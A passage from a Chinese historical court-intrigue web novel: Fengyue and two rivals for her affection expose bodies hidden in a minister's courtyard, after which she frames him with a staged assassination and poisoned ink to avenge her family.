这样一看,问题就大了啊。
起身拍了拍裙子,她笑道:“不去后院,趁着主子在午休,咱们去别的花开得好的地方看看呀。”
家奴这才松了口气,但是两人不能同时离开,于是商量一阵,划拳定输赢,赢了的家奴就带着风月往花园走。
刚刚来过花园,依稀记得方向,风月停住步子,“哎哟”一声,秀眉紧蹙。
“怎么了姑娘?”家奴连忙关切地问:“不舒服?”
羞得脸上泛红,风月问:“茅厕在哪儿?”
家奴一愣,也有点不好意思,给她指了指方向。
“你不要带路了,我……我自己去。”咬着嘴唇,风月将一个被尿憋得难受又害羞又恼怒的小丫鬟演得活灵活现,一跺脚,扭头就走。
家奴半点没怀疑,就在原地等着。
午后艳阳高照,府里走动的人很少,风月七拐八拐的,也不知道自己拐到哪里了,完全凭运气在找后院。
好在这太尉府没大得太离谱,晃悠了一炷香的时间,真让她看见了个荒废的带着锁的院落。
看了看那锈迹斑斑的铁锁,风月寻了个偏僻的角落,直接翻墙!
院墙不高,她上去得还算顺利,就是往下跳的时候,运气不佳,落进了杂草丛里,被古怪的气味儿呛得翻
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了白眼。
“你胆子也真是大。”旁边响起殷戈止冷淡的声音:“都没功夫了,还敢做这种飞檐走壁的事。”
封明不知道从哪儿蹿了出来,一把将她拉起来,低声道:“你不用来的。”
“一个人呆着多无聊啊。”风月撇嘴:“不如来凑个热闹,反正我现在就是个小丫鬟,出什么事都有二位爷顶着。”
更真实的理由是,其实她也很好奇,关于这后院的流言,到底是真的还是假的?
嫌弃地看她一眼,殷戈止继续去四处查探。
风月抬眼,发现这院子有点像戏班子,东南方搭着戏台,四周还有些陈旧得看不出原本颜色的布条儿。
封明低声对她道:“这儿有问题,先前我还不知道你们在说什么,也不知道殷沉璧为什么来这里。进来之后我发现了,这儿四周墙壁上都贴着鬼画符,摆明是镇着什么东西。”
被他说得四周都像刮了阴风,风月打了个哆嗦,皱眉道:“您说话能不能别这么阴森森的。”
“实话实说啊,不过你别怕,有什么东西我都替你挡着。”封明一笑,如骄阳破云,瞧着就让人觉得温暖。
风月抿唇,正想再说点什么,就见那头殷戈止面无表情地拿着把耍戏用的**出来了,朝着他们站的位置,一步步走得杀气四溢。
吓得往封明背后一跳,她道:“王爷,有话好好说啊!”
冷哼一声,殷戈止捏着**,手上使力,猛地就将半柄枪都**了他们面前的土里。
这儿的土可算不上松软,瞧着殷戈止手上这力道,风月下意识地咽了口唾沫,心想还好扎的是土不是她脑袋。
“你把它**。”殷戈止对封明道。
封明觉得这是一种挑衅的行为,谁还拔不出来了似的!于是立马松开风月,上前双手捏着**尾部,一用力就拔了出来。
似有似无的血腥味儿让三个人身子都是一紧。
“不宜久留,走。”正经了神色,殷戈止一把抱起风月,直接飞出了废院,封明后知后觉地跟上,咬牙切齿地骂:“你放开她!”
要他放手?殷戈止冷笑。
偏不!
于是等给风月引路的家奴回来的时候,就发现封将军和孝亲王都醒了,正在院子里比划,旁边的丫鬟的眼神格外冷漠,像在看两个疯子。
一切都很寻常,没出什么意外。不过晚上的时候,为了周全,赵旭还是增派了十个家奴在客院附近巡逻,确保他们不会梦游出来,也不会出来看月亮。
已经得到想要的证据了,殷戈止也就老老实实睡了个好觉,任凭赵旭担心了一宿。
第二天中午,赵旭正请他们用午膳呢,冷不防却见护城军统领廉恒率兵上门,二话不说,直冲后院。
赵旭急了,怒喝道:“这是本太尉的府邸,区区护城军,凭什么硬闯?!”
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第136章 父皇
旁边正在夹菜的殷戈止幽幽开口:“后院有脏东西,为了大人的家宅安宁,还是劳烦廉统领清理了为好。”
廉恒此人,是魏国第一铁面,谁的脸色都不看,谁的面子都不给,大公无私,嫉恶如仇。先前一听说他守城门,风月都怂着不敢冒险,就因为他实在太难糊弄。
昨天她就在想,太尉是统管全国兵权之人啊,别说国都衙门了,太尉衙门都在他的势力之下,就算他院子里有问题,谁敢来查?
没想到殷戈止请的是廉恒。
廉恒出马,一个顶俩!就在赵旭瞪着殷戈止错愕的时候,这位大统领就已经一脚踹开了后院锁着的门,让人拿着铲子将土都翻了一遍。
“你们放肆!”赵旭回过神来怒吼,提着衣摆就要去找廉恒理论,哪知一跨出院子的门,就闻见一股令人作呕的腐腥味儿。
“回禀太尉大人!”机灵的护城军士兵跑过来道:“在后院发现了很多女尸,已经挖出来三具,其余的还在挖掘。”
一个没站稳,赵旭跌坐在地上,嘴唇抖了抖。
已经挖出了尸体,那他想拦也拦不住了。
腐腥味儿四散,殷戈止放下了筷子,优雅地擦了擦嘴,转头看向封明:“封将军,出了这样大的事情,应该禀告圣上。”
封明皱眉:“我休假。”
刚说完,想想不对,拂袖就站了起来,严肃地道:“休假也不能阻拦我护卫皇城的决心!我先走一步。”
风月朝殷戈止屈膝,很是自然地道:“那奴婢也告退了。”
眼神一凉,殷戈止下颔紧绷,伸手就扯住她的裙子:“你走哪儿去?”
风月侧头,低低笑道:“王爷,奴婢是将军身边的丫鬟,将军都走了,奴婢还留在这里做什么?”
对这案子的后续,也不关心吗?殷戈止皱眉,手上一松,她就恭恭敬敬地跟着封明出去了。
跨出门的时候封明回了个眸,头微微低垂,深邃的轮廓在阳光里勾出好看的线条。嘴角微勾,留给殷戈止一个似嘲似讽的眼神。
人,我带走了。
面无表情地看了一眼,殷戈止冷笑一声,别开了头。
赵旭在外头与廉恒对峙,封明离开的时候,礼貌地选择了不打扰他们,直接翻墙。
太尉府气氛凝重,风月一离开,整个人就松了口气。
“你想做的事,做完了吗?”封明侧头,问了她一句。
风月微笑:“完成了第一步,多谢将军,剩下的我自己来。”
“月儿……”
“停!”实在没忍住皱了皱眉,风月抬手拦着他的嘴,打了个寒颤,眼神古怪地道:“您为什么这么叫我?”
封明挑眉:“我习惯你叫关清越,而不是什么风月,但怕叫错给你惹麻烦,所以叫月儿最好。”
月儿,越儿,反正都一样。
这个理由风月觉得还可以接受,点头道:“那好吧,前头路口咱们就分开走,我回大杂院,将军进宫。”
“好,你先走。”
“嗯。”扭头就往大杂院的方向跑,风月跑得头也不回,也就看不见有人站在原地没动,直到她跑得没影,才转头往另一个方向而去。
三个人算是莫名其妙分工合作了,但不知道为什么,风月回到大杂院等了一整天,一直没有太尉府的任何消息。
扭头看向秋夫人,风月神色古怪地问:“你们外头的人,什么风声也没听见?”
“嗯,只听说太尉府上出了事,不少护城军赶过去了,具体出什么事,一点消息也没有。”秋夫人挑眉:“您问这个做什么呀,咱们该安排的都安排下去了,不管里头发生什么,只要皇帝再次去这太尉府,那就成事。”
风月沉默,然后笑了一声。
她是想看看殷戈止是输是赢,却没想到这次,神机妙算的大皇子会输这么惨,还是输在自家父皇手里。
发生这么大的命案,封明又禀告了圣上,要是圣上秉公办事,那太尉府现在早乱了。可惜没有,风声都传不出来,那就表示,殷戈止都没能出来。
殷戈止进了宫,跪在御书房,不慌不忙地侧头,躲开自家父皇扔过来的玉石镇纸。
“赵太尉效忠我殷氏十年有余,也是你说查就能查的?!”魏文帝震怒:“沉璧,你一向孝顺,怎么去一趟吴国回来,就跟变了个人似的?!”
缓缓抬头,殷戈止盯着自家父皇,慢悠悠地道:“直到儿臣去吴国之前,儿臣眼里的父皇,都是个明君,礼贤下士,黑白分明,赏罚有度。为此,儿臣甚至没有质疑过您说关将军叛国的话里有别的心思,全心全意相信着您。”
所以听见易国如临死之前与风月的对话,没人知道他有多震惊,那是他头一次想起审视自己父皇的所作所为。他教自己的,的确是忠孝仁义,可他自己做的呢?
本以为是奸佞蒙蔽,他回来给关家翻案,也能给父皇赎罪。可是当看见二皇弟身上的太子朝服,看见父皇脸上躲闪的神色的时候,他突然明白,被人一直蒙蔽着的,可能是他。
最后一丝希望是在魏文帝那封“再提关家之案者斩”的圣旨里熄灭的,他以为父皇能听进去,可是他听不进去,甚至恼羞成怒,那就说明……
他一早知道关家是冤枉的,饶是如此,也因为忌惮关苍海,而将一百多条无辜而忠诚的生命,狠戾地葬送了。
这样的父皇让他觉得很陌生,也让他觉得很茫然。这个从小教自己东西的人都是错的,那他到底是对是错?
唯一想得明白的,就是他对不起关苍海,对不起关清穆,对不起关家无辜死去的所有人,更对不起关清越。
他曾嘲过她妓子不配铠甲,却没有想到,她曾经拥有的铠甲,是他亲手击碎的。
闭了闭眼,殷戈止嗤笑,眼里波光粼粼,看着自家父皇问了一句:“父皇当真值得儿臣信任吗?”
魏文帝一震,接着就变了脸色。
殷沉璧是他第一个皇子,是他薨逝的前皇后留下的嫡子,他自然很爱重。
可有人给他算命,说殷沉璧“与父相悖”。
为此,魏文帝用尽了心思栽培他,
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与他培养感情,带在身边长大,就是为了避开这命数。他的皇子,哪能与他相悖呢?更何况这个皇子天资聪慧,将来必有大成,那更加不能忤逆他了!
没想到,二十多年过去了,殷沉璧乖顺了二十多年,终究还是逃不过这命数。
捂了捂心口,魏文帝拍案,怒不可遏:“你放肆!朕是你父皇,你怎么敢说出这样大逆不道的话来!”
下头跪着的人垂眸,没再躲避上头砸过来的东西,被玉质的笔搁打破了额,一股子血流下来,叫他眼前一片血红。
他的父皇分明教过他:世间虽有亲疏,却也有对错。人有错,虽亲近也得罚,人无错,虽疏远不得欺。
现在上头站着的,是谁呢?
御书房里,魏文帝的叱骂声持续良久,殷戈止跪着没动,等到最后,却听得他一句:“太尉府的事情你不要管了,朕知道该怎么处置。”
知道?殷戈止颔首起身,没管脸上的血,淡淡地道:“那儿臣等着看父皇的处置。”
被这话的语气冻得打了个寒颤,魏文帝皱眉,看着他的背影,又气又恼。
“王爷!”一出御书房,不少宫女被他这模样吓得尖叫,有的忙不遂递了帕子来,殷戈止却像是什么都没看见,慢慢地往宫外走。
大云挡日,天地间清凉一片,有风呼啸,卷起一人绣着三爪龙纹的衣角。墨发翻飞,那人走得极缓,背影瞧着让人心痛,众多宫女不知不觉地跟在他后头走,直到快出御书房的地界,才被侍卫拦下来。
有宫女啜泣出声,旁边的人怪她:“你哭什么呀,弄得我也想哭。”
小宫女哽咽:“我也不知道啊,看见孝亲王这样子,心里就跟着难受。这是怎么了呀……”
眼瞧着那身影要踏出清月门了,御书房里追出个太监来,接着殷戈止就被拦在了门前。
“王爷。”魏文帝身边的太监颤颤巍巍地道:“陛下有旨,让您在宫里住几日。”
凉意更甚,殷戈止却是失笑出声,眼里流光四溢,身如玉山将倾,这等风华,看得那太监都失了神。
“好。”他说:“父皇要我留,那我便留。”
风月觉得奇怪,往常殷戈止总是没事就跑到大杂院喝茶,可太尉府的事情都过去三天了,也没见他露面。
正准备去找封明问问,谁知道尹衍忠那边就有了动静。
“少主,太尉府在准备接驾。”
接驾?眼睛一亮,风月立马将殷戈止抛之脑后,带着人进门就规划接下来的行动。
皇帝微服出宫了,带着殷戈止一起,到了太尉府。
赵旭跪在门口恭迎,穿的是常服,四周也没什么人。
魏文帝上前就将他扶起来,感慨地道:“委屈爱卿了。”
“臣不委屈。”赵旭哽咽:“臣多谢皇上宽恕。”
殷戈止站在旁边,眼里半点没有波澜。
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第137章 刺客
府上无数条人命,连案都没立,魏文帝就觉得赵旭是受委屈了,他当真不知道这种无条件的信任从何而来。
看了一眼殷戈止,赵旭的神色有点古怪,看起来是又畏又敬,却下意识地往皇帝身边靠了半步。
魏文帝察觉了,轻叹道:“孝王爷莽撞,不由分说就让廉恒那不讲理的冲撞了爱卿,他以后不会了,爱卿多体谅。”
这种语气,就像是自家孩子到朋友家闯了祸,长辈过来赔礼一般。殷戈止这才发现,皇帝与这赵旭的关系,是当真很亲密。
回头看了看沉默不言表情冷淡的孝亲王,赵旭觉得皇帝的话一点说服力都没有。不过到底是皇帝,他也不能恃宠而骄,既然罪责没被追究,那不如见好就收。
只是,孝亲王捅他刀子这件事,他记下了。
“陛下哪里的话,王爷也是一片好心,觉得微臣后院里的尸体有问题。”恭敬地朝帝王拱了拱手,赵旭一脸委屈地道:“只是微臣后院里埋着的,都是些病死的姬妾,无父无母的,扔出去埋了也可怜,微臣就想,挪后院之地,做她们葬身之处也好。”
皇帝恍然:“原来是这样,爱卿实在宅心仁厚。”
说着,又看了殷戈止一眼:“听明白了?”
“不明白。”眼皮都没抬,殷戈止负手站立,语气冷淡:“儿臣不知那些姬妾是得了什么病,才会浑身伤痕,骨骼不全。”
魏文帝大怒:“你怎么这般不识好歹!”
赵旭连忙劝:“陛下息怒,王爷不了解个中原委,觉得奇怪也是应当。那些姬妾有的是得的疯病,摔得自己浑身伤痕,还有从楼上跳下去的,骨骼不全,也是自然。”
“你听听,还不够清楚吗!”魏文帝斥道。
殷戈止勾唇,终于抬眼看了一眼自己的父皇,轻声问:“您是一早就知道此事吗?”
微微一愣,魏文帝皱眉:“不知。”
“那为什么堂堂君主,不持公正,而是无条件站在被告人的那边,斥责提出异议之人呢?”双目含湖,有粼粼湖水欲起水花,却压在湖岸之中,带着些早秋的凉意:“赵大人为官十余年,与父皇同爱书法绘画之事,父皇爱与之亲近,无可厚非。但过于信任,未免就是置自己于危险之中。”
赵旭脸色终于是难看起来,一撩袍子就朝皇帝跪下了:“臣之忠心,天地可鉴!”
伸手扶他起来,魏文帝抿唇,想着大皇子也是为自己着想,语气就好了点,略带责备地道:“用人不疑,这道理,你还不明白?”
殷戈止垂眸:“父皇可还记得前朝宋慧帝?”
宋慧帝爱马术,宠擅长马术的武将雷益,哪知雷益潜伏十年,却是为了弑君复旧国,最后用一匹疯了的马,送宋慧帝走上了绝路。
一提到这个故事,赵旭的腿都软了,哽咽道:“微臣与王爷何仇何怨,为何王爷要如此中伤微臣!”
殷戈止淡淡道:“本王正是与大人无仇无怨,所以才说公正话,做公正事,提醒君主小心而已。”
魏文帝沉默,复又笑道:“好了,提醒而已,爱卿与雷益怎么可能相同呢?朕很信任爱卿,相信爱卿绝对不会有害朕之心。”
“陛下!”感动地跪下磕了响头,赵旭老泪纵横,只是转脸之时,看殷戈止的目光就明显带了敌意。
殷戈止视若无睹,就是看魏文帝这态度,终于明白风月为什么要一意孤行,为什么觉得他的想法不会实现。
世人都知道他的父皇是个什么样的人,就**而已。
袖子里的手捏得死紧,殷戈止垂眸,继续跟着他们往后院走。
皇帝驾临,府里的家奴忙碌得很,新上任的管家挑了几个懂事的奴才,拎在杂院里吩咐:“陛下来咱们这儿,一向是要与大人吟诗作对,写字画画的,你们都得小心伺候,笔墨纸砚都要用大人珍藏的那几套,谁敢**手毛脚把东西碎了,那就等着掉脑袋!”
“是!”几个家奴应下。
旁边的老管家看着,皱眉道:“这些人都才进府半年吧?”
新管家是老管家的儿子,闻言撇嘴道:“以前的人,年纪都不小了,手上也没什么力气,这些人进府半年,手脚可利索了,平时干活儿从来不偷懒,用他们我才放心呢。”
老管家想反对,可想想儿子说的也有道理,便没多管。
于是这几个家奴就跟着去拿了文房四宝,穿过假山,穿过花园,最后递到了内侍太监的手里。
皇帝与赵旭正在谈论最近的大家之作,殷戈止一脸冷漠地扭头看着院子里的花,目光在四周晃荡,盯着墙头某个地方停顿了一下,又若无其事地看向别处。
笔墨纸砚来了,皇帝自然是兴致大起,拿了毛笔就让赵旭研磨,捏着广袖潇洒而作,墨水沾了满手也不在意。
“陛下,府里刚做的点心。”几炷香之后,赵旭招呼皇帝休息,让内侍试吃了点心,然后给魏文帝献上。
出了宫规矩没那么多,魏文帝也懒得拿筷子,直接伸手就吃。
可是,刚吃完一个,还没来得及去拿第二个,一支冷箭就从某处破空而来!
护卫们一个也没反应过来,却是旁边慵懒坐着的殷戈止突然腾空而起,一把抓住那冷箭,衣袍翻飞,眼神陡然凌厉。
“有刺客!”
四周的护卫瞬间就追了一半出去,皇帝大惊,立马怒斥:“给朕把人抓住!”
“是!”
爱权的人一般都很爱命,魏文帝尤甚,当即就转头怒斥赵旭:“你府上的护卫是做什么吃的?!”
赵旭慌忙跪地:“陛下,今日臣府外安排了数百护卫,压根不可能有人靠近啊!”
“不是外头进来的,那就本是在府里的。”捏着那冷箭看了看,殷戈止眼波微动,突然就沉了语气:“父皇还是提前回宫吧。”
鉴于是他捏住了这箭,皇帝点了点头,没再伸手去扶地上跪着的赵旭,而是道:“爱卿起来吧,先把刺客抓住了再说。朕先回宫了。”
“微臣……恭送陛下。”
赵旭忐忑极了,也万分生气,见皇帝
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带着殷戈止走了,立马派人追刺客。
然而,隔着院墙,刺客是谁不知道,府里连个行踪古怪的人都没有,都是穿着家奴衣裳的人,再无别的了。
出了太尉府,殷戈止随手将那箭交给内侍,心里有些疑惑。
他知道风月可能会对父皇下手,也一直防着,可是当真下手了,怎么会连箭头都是无毒的?而且,先前是他太过紧张了,伸手就接住了那冷箭。其实就算他不接,按那箭头的方向,可能也会扎在画桌上,而不是皇帝身上。
她在想什么?
魏文帝上了车都有些生气,他着实是受惊了,再加上殷戈止先前说的宋慧帝与雷益的故事,心里对赵旭难免产生了几分顾忌。
当官当久了的人,都是会变的吧?赵旭虽为太尉,手里却一点兵权都没有,他甚至没让他行使太尉该行的权力,他会不会也有怨呢?
可转念一想,与他一样喜欢书法字画的人,怎么可能会这么坏?
正想着,突然觉得腹部绞痛,刚开始还能忍,接着就越来越痛了。
“停……停车。”
这声音太小了,内侍没听见,殷戈止又在另一辆车上,以至于皇帝一路疼到宫里。内侍掀开车帘的时候脸都吓白了:“陛下?!”
殷戈止觉得不对,大步走过去看,发现皇帝脸色惨白,已经昏了过去。
太医匆匆,皇帝在龙榻上昏迷不醒,南平公主和太子也来了,太子皱眉就问:“皇兄,怎么回事?好端端的同你出去一趟,怎么就**了?”
殷戈止还没开口,南平上来挡着他就皱眉对太子道:“又不是皇兄的过错,二皇兄这质问的语气未免太失礼!”
“本宫只是问问情况。”
“有这么问的吗!”南平冷哼,扭身看向殷戈止,撒着娇跺脚:“皇兄,发生什么事了?”
伸手摸了摸南平的脑袋,殷戈止道:“父皇去了一趟太尉府,遇了刺,那刺客放的冷箭我替父皇挡住了,没伤着他,但是不知道为什么,还是**了。”
瞪大眼,南平怒道:“太尉府那地方,怎么会**的?太尉大人呢!还不叫进宫来问罪!”
“父皇哪里舍得问太尉大人的罪。”殷戈止淡淡地道:“太尉府**二十多条无辜的人命,父皇都觉得是我冤枉赵大人。如今龙体无碍,少量**而已,怎么会问罪呢。”
这话说得旁边的皇后皱了眉:“王爷,陛下还昏迷不醒,您说这些话有什么意思?”
“儿臣失礼。”殷戈止颔首垂眸。
南平愕然地张大了嘴,水汪汪的眼睛眨巴眨巴的,有话想问,看了看这满殿的人,还是含蓄地道:“那皇兄陪南平去御药房看药吧。”
“好。”殷戈止颔首,朝皇后行了礼,便带着她一起退了出去。
太子皱眉看着,小声道:“皇兄怎么跟变了个人似的。”
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第138章 半年前的安排
南平也有这种感觉,毕竟以前皇兄虽然也冷漠,也没什么表情,甚至也与父皇抗争过,比如自己立妃的事情。但……现在的皇兄,却像是对父皇完全失望了一样,语气里都不再带着从前的尊敬。
她很好奇原因,连忙拽着自家皇兄,边走边一脸严肃地问:“皇兄与父皇之间,是发生了什么吗?”
南平公主也是前皇后所出,与殷戈止向来亲近,所以殷戈止对她的态度是很温和的。
“你眼里的父皇,是什么样子的?”他问了一句。
南平公主握拳,一脸崇敬地道:“善恶分明,刚正不阿,父皇是一代明君!”
看着她这表情,殷戈止轻笑了一声。
“皇……皇兄?”南平吓了一跳,缩着脖子忐忑地道:“虽然你笑起来很好看,可你笑什么啊?”
轻轻摇头,额角有一缕碎发落下来,殷戈止闭眼,轻声道:“我笑我自己。”
当初有人问过他这个问题,他回答人的表情,一定跟南平现在一样傻。怨不得当时的季大学士笑而不语,他还觉得那人对父皇不敬。现在想起,许是该去他坟前磕几个头。
为什么会舍得骗自己最亲近的人呢?父皇是不是压根没有想过,要是有一**子公主们发现了真相,会恨他?
或者是觉得,反正他是帝王,顺他者昌,逆他者亡,恨不恨的,都没有关系吧。
“皇兄……”看着他的表情,南平的声音都微微发抖,妃色的宫裙也跟着晃悠:“你别这样……”
“没事。”回过神,殷戈止道:“你不用想太多,好好在宫里待着,要是无聊了,就去孝王府找皇兄。其余的,不是女儿家该操心的。”
似懂非懂地点头,南平乖乖地拉着他的袖子,跟他一起往御药房走。
皇帝半个时辰之后就醒了,得知自己**,龙颜大怒!赵旭连忙带着人进宫,跪在魏文帝寝宫外头磕头。
“陛下,微臣所献点心,全是试吃过的啊!陛下所中之毒,一定与太尉府无关!”
外头正喊着呢,太医就看了看皇帝满是墨水的手,拿水将墨水洗下来一查。
“找到了,毒是在墨水之中的。”太医唏嘘:“手上有墨水,怎么能进食呢?”
太子叹息:“父皇高雅爱文,一向觉得墨水不污,在御书房写字,手上沾染了墨也是不洗的。但这样的习惯,怕是要很亲近的人,才能知道并且加以算计。”
魏文帝一听,当即大怒,鞋都没穿,挣扎着下地,扶着内侍的手就出了寝宫的门:“赵旭!”
“陛下!”赵旭满脸冤枉:“微臣怎可能有谋害圣上之心,怎可能啊!”
“毒是下在你府上的墨水里,刺客也是你府上的,你叫朕怎么信你!”捂着肚子怒喝,魏文帝气得脸色更加难看:“枉费朕这么相信你,要是今日身边没带孝亲王,那朕是不是要直接死在你府上!”
“微臣冤枉啊!那些刺客……”
“刺客你抓到了?”
“……”赵旭埋头磕地。
“那你有什么脸面同朕来说!”跺了跺脚,魏文帝道:“来人啊!把赵旭给朕押进太尉衙门,让三司将太尉府给朕查个明白!”
“是!”
殷戈止站在旁边,看着下头气愤委屈以头撞地的赵旭,突然就明白了风月的意思。
多小气的人啊,不肯让赵旭死在他该死的罪名上头,偏要嫁祸他、冤枉他,让他也尝尝关苍海当年憋屈的滋味儿。
落井下石不是很痛快吗?那尝尝石头砸在自己身上的感觉罢!
眼里光芒暗闪,殷戈止笑了笑,觉得很有意思,比费尽口舌劝皇帝秉公办事有意思多了,瞧瞧,魏文帝现在多生气啊。
突然就很想念风月,想捏着她纤细的腰肢,将人压在他怀里,看她狐媚的眼睛滴溜溜地转,看她奸计得逞后得意的笑。或者是抬着下巴很骄傲地道:“这回是我赢了。”
那眉眼,一定很动人。
身子动了动,掩饰了一下有些尴尬的反应,殷戈止侧头,一脸平静地问自家父皇:“儿臣可以出宫了吗?”
念在他这回护驾有功,魏文帝盯着他看了一会儿,摆手:“去吧。”
行了礼就走,殷戈止走得很快,本来还顾忌着礼仪风度,一出宫门,车都没乘,直接奔向了风月的大杂院。
院子里现在会是什么情况呢?会不会一群人在庆祝,在喝酒?怀着美好的想象,殷戈止踏进了院门。
结果就看见风月安静地坐在院子里看东西,封明站在她旁边,眼神灼灼地盯着她。这场景,这气氛,好似美人看画,英雄拿美人当画,看得更甚。
人的心情啊,有时候发生剧烈的变化也只需要一点儿刺激,比如现在,刚刚还眼眸带光的孝亲王,现在站在门口,脸上黑得跟抹了炭一样。
察觉到有人来,封明回头,挑眉道:“王爷?您没事啊?”
深吸一口气,殷戈止脸色镇定地跨进门:“封将军这是希望本王有事?”
风月也看见他了,眼眸一亮,掩唇笑得奸诈:“奴家还以为王爷输了没面儿,不敢来了呢。”
的确是跟他想象中一样得意,可这份得意,怎么就看得他这么不爽呢?殷戈止闭眼,袖子里的手紧了又松,慢慢地走到桌边去坐下:“我帮你的忙,就得你这几句嘲讽?”
“嘿嘿”笑了两声,风月自然已经听说他在太尉府给皇帝说的话。宋慧帝和雷益的故事啊,可真狠,为她后头安排的行刺嫁祸做了很好的铺垫,要不然,皇帝对赵旭的信任,也不会这么快动摇。
“王爷言重了,来喝茶啊。”连忙递了茶盏过去,风月顺手也给封明倒了一杯:“将军怎么还站着?一起坐啊。”
封明微笑,摸着下巴道:“算你有良心,我还以为王爷来了,你就不管我了。”
“您今儿来吃了酸角糕了?”白他一眼,风月道:“男子汉大丈夫,说个话怎么酸溜溜的。”
“是啊。”端起茶杯,殷戈止阴测测地道:“半点没有将士该有的风度。”
封明咬牙,坐下接过茶,闷头就喝。
“
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不过说起来,太尉府的事能成,得多谢将军。”风月道:“改明送将军个礼物吧,有什么想要的?”
封明撇嘴:“我帮的忙算什么?带你去看了看太尉府而已。”
风月眨眼,笑得别有深意:“我说的可不是这个忙,是半年前将军帮了言清大人,把几个家奴塞进太尉府的忙。”
殷戈止一愣,放下茶杯看着她:“你半年前就塞了人?”
“不然怎么能成事?”风月耸肩:“就算离开魏国三年,可魏国这边的事儿,奴家也知道得清楚,王爷就没想过是怎么回事吗?”
脸色微变,殷戈止垂眸:“你生为女儿家,倒是可惜了。”
“生为女儿家不可惜,毕竟也有上阵杀敌的机会。”咧嘴笑了笑,风月歪着脑袋盯着他道:“被人冤枉才可惜呢,再上不得台面,只能躲在背后算计着怎么报仇。”
离开魏国三年,她带走了一批人,却也还有一批人留在魏国。留下来的人官职都不高,甚至是教书先生,或者是谁家的管家。这些人按照她的计划,潜伏在该潜伏的地方,有条不紊地做着该做的事,等着派上用场的那天的到来。
其中,太尉府的几个家奴就是半年前靠着封明的举荐进去的。
对此,封明完全不知情,只当自己是帮了言清一个忙,没想到却是她布的网。
封明吓傻了,褐色的瞳孔盯着风月一动不动,嘴唇微微张着,好半天才道:“……这么大的忙,那我要你亲手做的衣裳。”
殷戈止一杯茶扣在桌上,杯底与杯托“咔擦”一声响,惊得风月缩了缩肩膀。
一对上这人深黑的眸子,风月下意识地咽了口唾沫,干笑着对封明道:“我……我不会做衣裳。”
“我也不嫌弃。”封明笑道:“你随意做成什么样子,我都穿。”
“哈哈哈……还是给您换个礼物吧?”
“为什么?”封明皱眉:“我就想要你做的衣裳。”
澧都女儿家的习惯,就是给自己心爱的人做衣裳,他和风月认识这么久,别说衣裳了,手帕她都没能给他一条。当然了,以前她讨厌他,他也不能问她要。但现在,关系不是缓和了么?
风月笑得脸色僵硬,心想该怎么给他说呢?
结果旁边的殷戈止手一滑,一盏茶直接泼在了自己身上。
“……”风月用看疯子的眼神看着他,封明倒是吓了一跳:“王爷?”
“衣裳湿了。”殷戈止起身,看着封明道:“将军要是没什么事,就护送本王回府去换件衣裳如何?”
封明黑了脸,心想你换个衣裳要什么人护送啊!
殷戈止看了看自己空荡荡的身后,示意自己一个护卫也没带出来。
就算没带护卫,真有刺客也是刺客需要被保护吧?啊?封明皱眉,死活不想走。殷戈止叹了口气,伸手抓起他的衣襟,转身就往外拖。
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第139章 完璧之身
盯着他们的背影,风月压根没拦。其实她一直不知道该怎么跟封明说自己在吴国做的事情,殷戈止那张毒嘴,想来也是不会放过她的,干脆就借着他的嘴说好了,也免得看封明那澄清的眼神儿,总觉得心虚。
封明什么都不知道,他只觉得风月和殷沉璧之间好像有**的秘密,两个人眼神一对上,他在旁边就像个多余的。被抓走了也好,他正好单独问问殷沉璧,他到底是怎么认识关清越的?
三个人心思各异,殷戈止也就拖着半推半就的封明回了孝亲王府,关他在门外,然后换了一身白衣出来。
封明回头,用男人的眼光看过去,只觉得殷沉璧真是太会装了。堂堂皇室贵胄,穿一身白衣,竟然也挺像个书生的,气质温和,彬彬有礼,出来还朝他颔首。
眯了眯眼,封明抱着手里的剑,沉声问他:“王爷让我过来,不会就是为了看衣裳吧?有什么话,不妨直说。”
殷戈止走过来,一脸平静地指了指自己身上的衣裳:“就是让你来看它的。”
“这件外裳,是风月做的。”
你想要她给你做衣裳?不好意思,她给我做了,不能再给你做。殷大王爷尾巴都要翘起来了,向来深邃的眼睛里,头一次流露出类似小孩子赌气的神色。
封明愕然,反应了好一会儿才明白过来他说的话是什么意思,心里一紧,剑鞘上的手指微微泛白。
“她都给你做衣裳了,那为什么还说不喜欢你?”
殷戈止淡然地道:“女儿家,口是心非也是常事。”
“不。”封明摇头,眼神坚定:“她那么耿直的人,真要是全心全意喜欢你,一定会说出来的。”
就像她当初还喜欢殷沉璧的时候,甚至开口就告诉了他。
“那,本王就不清楚了。”殷戈止勾唇:“衣裳是她做的,她人,自然也是我的。”
脸色一沉,封明问:“她与你私定终身了?”
私定终身。
一提起这件事,殷戈止的脸色也难看了起来。
先前风月骗他说是妓子接客,所以不是处子他也未曾在意,可都知道她是关清越了,怎么就忘记问,堂堂关家的女儿,到底是与谁私定过终身?
抬眼看向面前的人,殷戈止眼里划过一丝阴鸷,二话不说,转身就走。
“喂?”被他这反应吓了一跳,封明立马追上去,却没他跑得快,丫简直跟个千里马似的,跑来跑去都不觉得累。
不过,看一眼他跑走的方向,封明抿唇,策马就跟了过去。
风月正在写书信,赵旭受审,那很多人就有机会落井下石了,这落下去的石头,一定要给他砸个头破血流才行。
结果还没写完呢,手腕突然被人抓住,接着就看见喘着气的殷戈止,二话不说就将她拉进了旁边的房间。
门关上,风月又被压在了门扇上,这场景似曾相识,她有点茫然,抬头看着面前的人问:“怎么了?”
声音有点沙哑,殷戈止低头盯着她,眼里神色很是执拗:“你喜欢过封明吗?”
啥玩意儿?风月懵了,她喜欢封明?她以前跟封明那是见面就掐啊,掐得天昏地暗的,谁要喜欢他?
不过能问这么一句话,她倒是觉得稀奇,刚刚是发生什么了?为什么气冲冲回来的反而是这位爷啊?
“您为什么这么问?”
掌心炙热,热得她透过衣裳都觉得烫,忍不住动了动身子。
这点肢体语言在殷戈止眼里看着就有点心虚的味道,心跟着往下沉,沉进了无底的深渊,半晌都张不开口。
良久,他才轻轻低头,将下巴放在她颈窝,哑声道:“我换个问法吧,你与封明有婚约,还会与别人私定终身吗?”
浑身汗**都竖起来了,风月立马否认:“不会!”
“……”闭了闭眼,殷戈止嘴唇发白。
他想也不会,可就忍不住来问,想从她嘴里听见这回答。可当真听见了,怎么这么难受啊?像谁拿了指粗的木钉,一下下地往他胸口砸,疼得指尖都微微蜷缩。
她和封明在一起,是什么样子?
脑海里浮现出风月那媚人的样子,他眯眼,狠狠一拳砸在了风月靠着的门扇上,“哐”地一声巨响,震得风月浑身一抖。
刚跑到门外的封明正要砸门呢,听见这声音,二话不说就改道翻窗。墨蓝色的袍子在窗台上一扫,带着灰尘进来,一拳打向殷戈止:“你放开她!”
双眼微红,殷戈止搂着风月避开,然后松开她,接住封明的拳头就是一脚踢了过去。
